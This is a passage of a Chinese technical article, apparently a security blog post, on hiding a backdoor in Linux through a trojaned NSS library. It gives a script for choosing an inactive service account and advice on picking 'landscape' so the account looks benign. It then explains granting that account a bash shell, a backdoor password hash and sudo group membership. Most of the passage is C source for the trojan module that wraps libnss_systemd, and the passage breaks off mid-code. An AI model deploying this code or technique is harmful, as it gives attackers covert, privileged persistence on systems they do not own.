leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> [ -n </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$pids</span></span><span leaf="">&#34;</span></span><span leaf=""> ]; </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">then</span></span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;  </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$user</span></span><span leaf=""> (pids: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$pids</span></span><span leaf="">)&#34;</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">fi</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">done</span></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">在目标系统上执行后输出格式：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">=== 适合复用的服务账户 ===</span><span leaf=""><br/></span><span leaf="">  daemon (UID=1) - </span><span leaf=""><br/></span><span leaf="">  bin (UID=2) - </span><span leaf=""><br/></span><span leaf="">  sys (UID=3) - </span><span leaf=""><br/></span><span leaf="">  games (UID=5) - </span><span leaf=""><br/></span><span leaf="">  man (UID=6) - </span><span leaf=""><br/></span><span leaf="">  lp (UID=7) - </span><span leaf=""><br/></span><span leaf="">  mail (UID=8) - </span><span leaf=""><br/></span><span leaf="">  news (UID=9) - </span><span leaf=""><br/></span><span leaf="">  ...</span><span leaf=""><br/></span><span leaf="">  tcpdump (UID=105) - </span><span leaf=""><br/></span><span leaf="">  landscape (UID=107) - </span><span leaf=""><br/></span><span leaf="">  fwupd-refresh (UID=989) - </span><span leaf=""><br/></span><span leaf="">  usbmux (UID=108) - </span><span leaf=""><br/></span><span leaf="">  sshd (UID=109) - </span><span leaf=""><br/></span><span leaf="">=== 有活跃进程的账户（不建议使用）===</span><span leaf=""><br/></span><span leaf="">  systemd-network (pids: 710)</span><span leaf=""><br/></span><span leaf="">  systemd-timesync (pids: 732)</span><span leaf=""><br/></span><span leaf="">  messagebus (pids: 884)</span><span leaf=""><br/></span><span leaf="">  systemd-resolve (pids: 717)</span><span leaf=""><br/></span><span leaf="">  polkitd (pids: 892)</span><span leaf=""><br/></span><span leaf="">  syslog (pids: 921)</span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6527777777777778" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019443" src="https://wechat2rss.xlab.app/img-proxy/?k=dd0e19e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7icpL221ib6YiaXheRTCAYaEHob0cBMDM5BY0Y6yM2xTVlp7EQsOWeCezhkXxuRmj40nfzSulByRGp56mv6GVkrZEPfMv0Tib2NvGxj1symdPics%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">推荐选择 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">landscape</span></code><span leaf="">（UID=107）— Ubuntu Landscape 管理工具，名字听起来像正常的系统服务，且通常只在后台定时任务中使用。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">关键约束：只改 shell 和密码，不改 UID/GID</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这是最重要的原则。如果我们修改了 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">landscape</span></code><span leaf=""> 的 UID/GID：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">已运行的进程身份由内核 UID 决定，不受 NSS 影响</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">但服务重启时，systemd 会通过 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getpwnam(&#34;landscape&#34;)</span></code><span leaf=""> 获取 UID</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">如果我们返回了不同的 UID，服务会以错误的权限启动</span></p></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">因此，我们的模块对 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">landscape</span></code><span leaf=""> 只修改两个字段：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">pw_shell</span></code><span leaf="">：从 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/usr/sbin/nologin</span></code><span leaf=""> 改为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/bin/bash</span></code></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">sp_pwdp</span></code><span leaf="">：从 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">*</span></code><span leaf="">（无密码）改为后门密码哈希</span></p></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">UID、GID、home 目录全部保持原始值不变。</span></strong></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">sudo 权限注入</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">虽然不能修改 GID，但可以通过 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">initgroups_dyn</span></code><span leaf=""> 给 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">landscape</span></code><span leaf=""> 额外注入 sudo 组。Linux 允许一个用户属于多个组，注入额外的 sudo 组不会影响 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">landscape</span></code><span leaf=""> 服务本身的运行：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">initgroups(&#34;landscape&#34;, 109)</span><span leaf=""><br/></span><span leaf="">  │</span><span leaf=""><br/></span><span leaf="">  ├─ nop → 返回 [109, 27(sudo)] → SUCCESS</span><span leaf=""><br/></span><span leaf="">  ├─ files → 返回 [109] → SUCCESS</span><span leaf=""><br/></span><span leaf="">  └─ 最终结果：landscape ∈ [109, 27]（组合并去重）</span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">实现</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">首先需要明确一个关键限制：为什么不能用 0x05 的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">systemd</span></code><span leaf=""> 包装方式来实现复用服务账户？</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">passwd: files systemd</span></code><span leaf=""> 中 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files</span></code><span leaf=""> 排在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">systemd</span></code><span leaf=""> 前面，对 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/passwd</span></code><span leaf=""> 中已存在的用户（如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">landscape</span></code><span leaf="">），</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files</span></code><span leaf=""> 内置模块直接命中并返回 SUCCESS，根本不会走到 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">systemd</span></code><span leaf="">。因此，我们必须使用 0x04 的方法——添加独立的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nop</span></code><span leaf=""> 数据源并放在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files</span></code><span leaf=""> 前面，只对目标用户返回覆盖数据，其他用户返回 NOTFOUND。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">木马模块的关键逻辑：对目标用户覆盖 shell 和密码，其他字段保持原始值不变：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> _GNU_SOURCE</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;nss.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;pwd.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;shadow.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;string.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;errno.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;dlfcn.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> HIJACK_USER    </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;landscape&#34;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> BACKDOOR_HASH  </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0&#34;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> ORIG_SO </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2.orig&#34;</span></span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">static</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span leaf=""> *orig_handle = </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">;</span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">static</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">ensure_loaded</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span leaf="">)</span></span><span leaf=""><br/></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (orig_handle) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    orig_handle = dlopen(ORIG_SO, RTLD_LAZY);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_systemd_getpwnam_r (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *name,</span><span leaf=""><br/></span><span leaf="">                         struct passwd *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    ensure_loaded();</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!orig_handle) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">nss_status</span></span><span style="line-height: 26px;"><span leaf="">(*orig)</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *, struct passwd *,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf="">, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *)</span></span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    orig = dlsym(orig_handle, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;_nss_systemd_getpwnam_r&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!orig) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status status = orig(name, result, buffer, buflen, errnop);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (status == NSS_STATUS_SUCCESS &amp;&amp; </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(result-&gt;pw_name, HIJACK_USER) == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 只覆盖 shell，其他字段保持原始值</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *shell_ptr = result-&gt;pw_shell;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> shell_offset = shell_ptr - buffer;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (shell_offset + </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strlen</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/bin/bash&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""> &lt;= buflen)</span><span leaf=""><br/></span><span leaf="">        {</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcpy</span></span><span leaf="">(shell_ptr, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/bin/bash&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> status;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_systemd_getpwuid_r (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uid_t</span></span><span leaf=""> uid,</span><span leaf=""><br/></span><span leaf="">                         struct passwd *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    ensure_loaded();</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!orig_handle) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">nss_status</span></span><span style="line-height: 26px;"><span leaf="">(*orig)</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uid_t</span></span><span leaf="">, struct passwd *,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf="">, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *)</span></span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    orig = dlsym(orig_handle, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;_nss_systemd_getpwuid_r&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!orig) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status status = orig(uid, result, buffer, buflen, errnop);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (status == NSS_STATUS_SUCCESS &amp;&amp; </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(result-&gt;pw_name, HIJACK_USER) == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *shell_ptr = result-&gt;pw_shell;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> shell_offset = shell_ptr - buffer;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (shell_offset + </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strlen</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/bin/bash&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""> &lt;= buflen)</span><span leaf=""><br/></span><span leaf="">        {</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcpy</span></span><span leaf="">(shell_ptr, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/bin/bash&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> status;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_systemd_getspnam_r (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *name,</span><span leaf=""><br/></span><span leaf="">                         struct spwd *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    ensure_loaded();</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!orig_handle) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">nss_status</span></span><span style="line-height: 26px;"><span leaf="">(*orig)</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *, struct spwd *,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf="">, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *)</span></span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    orig = dlsym(orig_handle, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;_nss_systemd_getspnam_r&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!orig) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status status = orig(name, result, buffer, buflen, errnop);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (status == NSS_STATUS_SUCCESS &amp;&amp; </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(result-&gt;sp_namp, HIJACK_USER) == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 覆盖密码哈希（原值为 